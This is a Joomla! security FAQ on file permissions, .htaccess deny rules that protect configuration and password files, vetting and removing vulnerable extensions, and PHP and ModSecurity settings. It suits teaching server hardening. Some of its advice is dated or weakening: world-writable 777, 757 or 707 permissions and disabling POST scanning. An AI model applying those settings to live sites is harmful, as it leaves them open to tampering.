# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it's never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it's remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.

==How do I turn off RG_EMULATION? {{JVer|1.0}}==

'''Overview'''

: PHP's ''register_globals'' option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input.

: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance!

: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP ''register_globals'', but it's still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with ''register_globals'' turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don't use such extensions.

'''Joomla! 1.0.13'''

: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.

'''Joomla! 1.0.12 and earlier'''

: Edit the file, ''globals.php'', found in the root directory of your Joomla! site. At about line 23 change:

define('RG_EMULATION',1)

: to

define('RG_EMULATION',0)

==What do Error 1, Error 2, and Error 3 mean?==

'''Error 1 = FATAL ERROR: MySQL not supported...'''

You need to compile MySQL support into PHP or the MySQL server is down.

'''Error 2 = FATAL ERROR: Connection to database ...'''

Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in ''configuration.php'', or you are trying to access a database table with the wrong table prefix.

'''Error 3 = FATAL ERROR: Database not found...'''

The database cannot be found. Check the database settings in ''configuration.php''

The MySQL variables in ''configuration.php'' (found in Joomla!'s root directory) can be modified to correct these problems.

For Joomla! 1.0.xx
$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modifying the ''$mosConfig_host'' to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.

==How do UNIX file permissions work?==

Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;

Owner Permissions : Control your own access to files.
Group Permissions : Control access for you and anyone in your group.
Other Permissions : Control access for all others.

In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.

'''What do Unix permissions look like?'''

When viewing your files through an FTP client or from the servers command line;

filename.php username usergroup rwx r-x r-x

The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.

'''Owner (User) relates to username'''

The Owner (User) is normally you, these permissions will be enforced on your hosting account name.

'''Group relates to usergroup'''

The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.

'''Other relates to everyone else'''

The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;

r = Read permissions
w = Write permissions
x = Execute permissions

Owner Group Other
r w x r w x r w x

As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.

Owner Group Other
r w x r w x r w x
4 2 1 4 2 1 4 2 1

Thus...

4+2+1 4+2+1 4+2+1
= 7 7 7

The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;

Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories;

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either "apache" and "apache" or "nobody" and "nobody" as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.

640 = rw- r-- ---
Owner has Read and Write
Group has Read only
Other has no rights

The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.

750 = rw- r-x ---
Owner has Read and Write
Group has Read and Execute
Other has no rights

Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to "Execute" commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the "Read" command, thus cannot deliver your file to the users web browser.

'''How Does this Relate to Joomla?'''

Good question, well in the first instance this would be important during the Web-Installer process.
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for "Writable" permissions to be too vague.

Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term ''writable'' is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where ''write'' permissions maybe set;

Owner Writable
Group Writable
Other Writable

Also remembering that the Web Server generally doesn't run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the "Other" permissions that will apply to it. If the "Other" permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not ''writable''.

In this case, you will need to configure the Other permissions to be "7" on the directories listed in the Web Installer.
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.

757 = rwx r-x rwx
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read, Write and Execute

Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the ''other'' permissions, may not be required, now you may only need to configure directories to be ''writable'' to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute
Other has Read and Execute

775 = rwx rwx r-x
Owner has Read, Write and Execute
Group has Read, Write and Execute
Other has Read and Execute

The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.

644 = rw- r-- r--
Owner has Read, Write
Group has Read
Other has Read

This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have "Writable" to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.

If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

